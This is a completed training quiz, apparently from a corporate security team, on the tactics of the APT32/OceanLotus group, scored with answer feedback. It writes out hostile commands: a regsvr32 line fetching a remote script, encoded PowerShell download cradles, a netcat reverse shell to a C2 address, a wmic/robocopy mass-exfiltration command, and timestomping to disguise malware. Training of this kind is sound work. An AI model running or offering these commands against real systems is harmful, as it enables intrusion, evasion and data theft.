

APT Quiz - Batch 1

Total points 250/250 ?

APT32 Tactics, Techniques and Procedures

Email address *

varkeymjohn@gmail.com

40 of 40 points

Don't touch suspicious emails...!

Since January 2019, APT32 (OceanLotus) has been using SFX files for their spear-phishing campaigns. You decided to investigate these files to use it in your own red teaming activities. You get hold of one of their phishing documents named THICH-THONG-LAC-HANH-THAP-THIEN-VIET-NAM (1).EXE. You're not too sure how to use this file for red teaming. So you play around with the file. You check the file description and it shows you that the file is a jpeg image (from the version info). You double click it and you see that indeed you get a jpeg file! A few days later, you see something strange in your Antivirus activity, and you're getting calls and emails from EY security. They're saying something about SFX files and backdoors and what not! So it was indeed a malware! How will you use it for red teaming? (Common data for first 4 questions)

THICH-THONG-LAC-HANH-THAP-THIEN-VIET-NAM (1).EXE



✓ 1.1) What are SFX files?

5/5

- ☐ Sound files
- ☐ Video files
- ☒ Compressed archive files
- ☐ Image files used for logos and favicons



✓ 1.2) You want to try some phishing with this file for your next engagement. How does this file work though? Can you figure out how double clicking the THICH-THONG-LAC file can cause so much problems? It was anyway only a jpeg file right?

10/10

- ☐ Malicious obfuscated powershell code is embedded in the image file that was opened, which when executed, in turn, starts Cobalt Strike
- ☐ When double clicked, the file initiates in-memory execution of commands from attacker's command and control server
- ☐ When double clicked, the file instantly initiates download of malware from attacker's command and control server
- ☒ When double clicked, malware files present along with the image file were extracted and executed



✓ 1.3) Maybe the file also creates a backdoor! That would be really useful 5/5
for connecting remotely to your target machine! You want to analyse
your system now to see if the file actually does create a backdoor. You
probably can check this by seeing the services and ports running on your
system. Which command do you use?

☐ nmap -sn localhost

☒ netstat -an



☐ ipconfig /all

☐ nslookup localhost



✓ 1.4) You realize the malware uses the port 25123. You do some reading online on how the malware encrypts and compresses the data. You'd like to test it out on your own and decide to reverse engineer and modify the malware to send your custom commands. For a first, you want to send the data "Hello Hacking world!" to your C2 server. After compression and encryption (using hex key 1234ABCD), what is the ciphertext you will get? (Hint: Malware file is {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll, Perform compression first and then encryption)

- ☒ 311e531545cada10ce176e225532409ed568e9209a4c5b38e57b9f164697295a736a47c596b94bf8a5b83221 ✓
- ☐ 5d000001003b0000000000000000000190d00231420c2412d2c58d07e8e0727de4d54fef7708b09a54f46302ff02735552f5404a80405653faa27a300b76be3d84c9c1fffc2778000
- ☐ 5d000001001b0000000000000000000121ec3e7ac5b0225a98d18603310f4436292875988c533bf4e52c8aed0f302b66ffffee61000
- ☐ 597a732475feca20ee275f02650244b6a8d0b600b47b0861ed415ab7cada3b3af7e2e1fc9a529437269e0015dfffda2c3ec6ce7360aa9b00e083163c44b26607b2abd20efb681309c44d921375629a5a25e70272918057da7656228f5ab9a6604958dbef20d860a5f427bc1ba91f075c79aef0d12cb823238ab8c39df8c3a309ab0465

Feedback

Congrats! Here is the solution: Compression using LZMA to 5d 00 00 01 00 14 00 00 00 00 00 00 00 00 24 19 49 98 6f 10 0e 07 63 79 38 0a e5 91 bc 6d 22 50 a4 b8 96 19 3c db ff ff b3 06 00 00, encryption using rc4 to 311e531545cada10ce176e225532409ed568e9209a4c5b38e57b9f164697295a736a47c596b94bf8a5b83221

More malware...!

105 of 105 points

You are now so excited about what can be done with APT32 malwares that you download a whole bunch of them from the internet and from the dark web (this time on your test laptop, mind you!). You start testing them to check what all activities are being performed by the malware. Probably you can use the commands that the malware uses for your engagements...



✓ 2) While trying to test one of the malwares on your test machine, you suddenly get an email in your test machine's inbox. In the mail notification, you see something like \$te \$te in the mail content. Suddenly the mail gets deleted. What do you think is happening? 5/5

- ☐ The attackers are sending phishing mails to gain remote access to the test machine
- ☐ A denial of service attack is being attempted into your test machine through Emails
- ☒ The attackers are sending commands for execution to malware in your system ✓
- ☐ "Heart-beat" emails are being sent by attackers to check if the compromised system (your test machine) is still active

✓ 3) You want to check what else the malware is doing. So you first check the scheduled tasks. A scheduled task named "Windows Scheduled Maintenance" was created to run a particular code. The code was as follows: "regsvr32.exe /s /i:<http://80.255.3.87:80/1009.jpg> scrobj.dll". Do you know why regsvr32.exe is being used here? 15/15

- ☒ It is used to bypass app whitelisting in the system, to allow attackers to run scripts that are not allowed to be run ✓
- ☐ It is used to register scrobj.dll file as a win32 file instead of a win64 file in order to bypass antivirus detection
- ☐ It is used to register remote jpg file (1009.jpg) as dll file in registry along with scrobj.dll
- ☐ It is used to register local scrobj.dll in the form of jpg file (10009.jpg) to remote C2 server (80.255.3.87) using HTTP communication



You also check the powershell command history to see if the malware is using powershell scripts. You find the following two commands are being run:

Command 1: powershell -nop -exec bypass -EncodedCommand

“SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nK CdodHRwOi8vMTI3LjAuMC4xOjI0Nzg1LycpOyBTY2FulDE5Mi4xNjguNC4wLT11 NCAtb3MgLNjYw5wb3J0”

Command 2: powershell -nop -exec bypass -

EncodedCommand
“SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nK CdodHRwOi8vMTI3LjAuMC4xOjI1NDkvJyk7IEludm9rZS1BbGxGaGVja3M=”

(Common data for next 2 questions)

✓ 4.1) What is the first command doing?

15/15

- ☐ Ping scan is being performed to check for live hosts in the network
- ☐ Vulnerability scan is being performed to find all common vulnerabilities in the hosts in the network
- ☒ Port scan is being performed to find the common ports in the hosts in the network ✓
- ☐ Authentication scan is being performed to find hosts which use compromised and/or default credentials

✓ 4.2) What is the second command doing?

15/15

- ☐ Ping scan is being performed to check for live hosts in the network
- ☐ Vulnerability scan is being performed to find all common vulnerabilities in the hosts in the network
- ☐ Port scan is being performed to find the common ports in the hosts in the network
- ☒ Privilege escalation scan is being performed to find privilege escalation vectors in the hosts in the network ✓



You might be wondering if you can try some attacks using the kind of activity performed by the malware on the network. Analyzing network traffic in Wireshark, you find some very interesting tricks you can use yourselves using standard tools. You observe the following traffic in Wireshark: Destination Protocol Info 8.8.8.8 DNS Standard Query 0x07e8 NULL

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGQ_.z.teriava.com

(Common data for next 2 questions)

✓ 5.1) What do you think is happening here?

20/20

- ☐ Host lookup is being performed to check the availability of host AAA...
_.z.teriava.com
- ☐ Heart-beat messages are being sent by compromised system to remote host
- ☐ An attack known as DNS flood is being performed in which multiple compromised systems attack a single DNS server using large amounts of DNS requests (similar to ping of death attack)
- ☒ DNS tunnelling is being performed in which remote code execution and data exfiltration are made possible through DNS ✓

✓ 5.2) What if EDRs are capable of detecting this kind of activity? We would need a way to bypass such detection as well, right? How do you think EDRs detect this activity?

10/10

- ☐ Using deep packet inspection
- ☐ By checking amount of DNS traffic flowing, and raise alert if large traffic flows
- ☐ By checking query DNS name, if it is a meaningful ("dictionary") name
- ☒ All of the above ✓



✓ 6) While observing the communication, the malware was pretty much 15/15 hidden in its activity. Probably, that is one way we can also hide our activity... Here is the request: GET /safebrowsing/rd/Clt0b12nLabebHehcmU22a2hUdmFzFeqAY7-OKI0kUPC7h2 HTTP/1.1 Accept-Language: en-U5,en;q=0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Cookie: PREF.IO=amb1bddecmdednhcncffoicjhamongbnjoigaikabeleoaonpmclmcnnpgbdpphfpdlbappppelyampgijhmodaffbgid]mbemimdllnpffignbpdkenpphghledfnp)adldedobflebemokkgiiladbmahcjedeaccidbhlempacecahcgekaabcbgpgdcahcck;njodjdnohibchmmolafniapgddmk1hbc)llkcibhakmflbbbflinolafpkle User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: support.chatconnecting.com Connection: Keep-Alive Cache-Control: no-cache. What do you think the attacker is attempting here?

- ☐ a. Starting a remote connection with the remote C2 server using chat
- ☐ b. Stealing the cookie [PREF.IO](#) from the system
- ☒ c. Using Malleable C2 profile safebrowser to hide Cobalt Strike patterns ✓
- ☐ d. Both a and b



✓ 7) The machine's Antivirus showed some unusual activity coming from 10/10 PROGRAMDATA folder. You went to that folder and observed the files avpia.exe along with product_id.dll. You read up on attacks using DLL and realize that indeed with great power comes great responsibility. What if we, like the malware, can harness the power irresponsibly? Which attack is used to do this here?

- ☐ DLL search order attack
- ☒ DLL side-loading attack
- ☐ Phantom DLL Hijacking attack
- ☐ DLL injection attack



Technical techniques...

105 of 105 points

After hours of checking the events in your laptop (and getting scolded for downloading malware in EY laptop), it was concluded that, by policy, your EY laptop had to be reimaged. So you gave your laptop to your friendly next-door neighbour "IT team" that sits there -> Not having your company laptop, you decided to read up on APT32 tactics in your phone so that you can replicate them elsewhere.

✓ 8) First off, you find that, APT32, or OceanLotus, is known to use 5/5 'watering hole attacks'. How do you perform a watering hole attack?

- ☐ Target a group of users and send phishing mails to them in order to lead them to download malware from attacker's C2 server
- ☐ Target a group of routers and make them function in a way that they discard packets instead of relaying them
- ☒ Target a group of websites commonly visited by a set of users, compromise these websites and use them to spread malware to the targeted users
- ☐ Target a group of DNS servers and make them give out a false result for a domain name



✓ 9) There is a very clever phishing methodology that the APT group uses: In this they put HTML image tags in Word documents. One example is as follows: `<p class=3DMsoNormal></p>` However, in all cases, the external image being downloaded by Microsoft Word was found not to exist. It is indeed ingenious, don't you think? But, then why is the image tag there?

10/10

- ☒ In order to obtain the public IP address of the compromised system ✓
- ☐ In order to obtain the private IP address of the compromised system
- ☐ In order to obtain the public IP address of the C2 server
- ☐ In order to obtain the private IP address of the C2 server

✓ 10) One of the recent APT32 malware, Ratsnif, use a variety of attack techniques. Which of the following attack vectors are used by this malware? (Ref. MISP) 5/5

- ☐ NBNS Poisoning
- ☒ ARP Poisoning ✓
- ☒ DNS Poisoning ✓
- ☐ IP Spoofing



- ✓ 11) You also learned that the following types of Mimikatz payloads were 10/10 the most used by APT32: 1. Packed Mimikatz binaries (using custom and known packers) 2. PowerSploit's "Invoke-Mimikatz.ps1" 3. Mimikatz obfuscated with subTee's PELoader. But why will you go for PowerSploit's Invoke-Mimikatz.ps1 if you have normal Mimikatz?
- ☐ It can even be run on Windows machines with credential guard enabled in order to gather credentials
 - ☐ It uses only native powershell commands, with no loaded libraries, during the entire process of gathering credentials, thus preventing antivirus detection
 - ☐ It is completely standalone and can even be run without an internet connection
 - ☒ It prevents antivirus detection by running commands in memory ✓

- ✓ 12) You also observed that APT32 is known to use wmic in their attacks. 20/20 You wanted to try out one of these commands in your test laptop: WMIC path win32_process get Caption,Processid,Commandline | findstr OUTLOOK. What do you think happened?
- ☐ wmic command started outlook so that it would load a malicious file
 - ☐ wmic command located win32-version of outlook in order to exploit vulnerabilities in it
 - ☐ wmic command calculated the storage (findstr) allocated for outlook in order to perform remote code execution using buffer overflow attacks
 - ☒ wmic command searched for the process ID of OUTLOOK, in order to restart it, so it would load a malicious file ✓



- ✓ 13) In 2019, a Mac OS malware by OceanLotus is seen to use AES-256-cbc encryption of files with gFjMXBgyXWULmVVVzyxy as the key. Also it uses timestomping to change modified date of file. What are the commands you will use in Linux to: a. Encrypt using this algorithm and b. Set the modification time of the encrypted file (say, notmalware.jpg) to 1.5.2016:00:00 (D.M.Y:HH:MM)? 15/15

- ☒ Encryption: openssl aes-256-cbc -in malware.ps1 -out notmalware.jpg ✓
- ☐ Encryption: gpg --cipher-algo AES --symmetric malware.ps1 --output notmalware.jpg
- ☐ Modification time setting: touch -m -t 201601050000 notmalware.jpg
- ☒ Modification time setting: touch -m -t 201605010000 notmalware.jpg ✓

Feedback

Congrats! Here is the solution: GPG AES is AES-128 not AES-256

- ✓ 14) cmd and net.exe are also favourites of APT32. You want to use some of these tools to remotely copy all files and subdirectories from server's directory to local machine (Think of mass file exfiltration!). Which of the following commands will do the trick? 20/20

- ☐ a. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "powershell.exe net use \\10.10.10.10\directory /user:domain\username p@ssw)rD |xcopy "\\10.10.10.10\directory\" C:\Users\client\Desktop\"
- ☐ b. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "cmd.exe net use \\10.10.10.10\directory\ /user:domain\username p@ssw)rD
- ☒ c. wmic /user:domain\username /password:xxxxxxx /node:node1 process call create "cmd.exe net use \\10.10.10.10\directory /user:domain\username p@ssw)rD |robocopy "\\10.10.10.10\directory\" C:\Users\client\Desktop\" /e ✓
- ☐ d. Both a and c



- ✓ 15) The aim of any malware expert is to bypass antivirus detections. Is a 20/20 file a malware? Only 1 way to figure out – VirusTotal! In 2016-2017, APT32 used one tool named kb-10233.exe. Apparently, according to VirusTotal, only 1/61 antivirus vendors were able to detect this tool in 2017! Write down the 2 commands APT32 would use this tool to: a. Connect to C2 server chatconnecting.com (174.2.33.21) on port 80, b. Perform port scan on internal file server 10.24.43.4 for ports 20-30

- ☒ Connection: kb-10233.exe 174.2.33.21 80 -e cmd.exe ✓
- ☐ Port Scan: kb-10233.exe -p 10.24.43.4 20-30
- ☐ Connection: kb-10233.exe 174.2.33.21 80 cmd.exe
- ☒ Port Scan: kb-10233.exe -z 10.24.43.4 20-30 ✓

Feedback

Congrats! Here is the solution: kb-10233.exe is actually netcat.exe

Submission ID (skip this field) *

⚠ DO NOT EDIT this field or your time will not be recorded.

NeOPy43NPmeQksAY

This content is neither created nor endorsed by Google. - [Terms of Service](#) - [Privacy Policy](#)

Google Forms

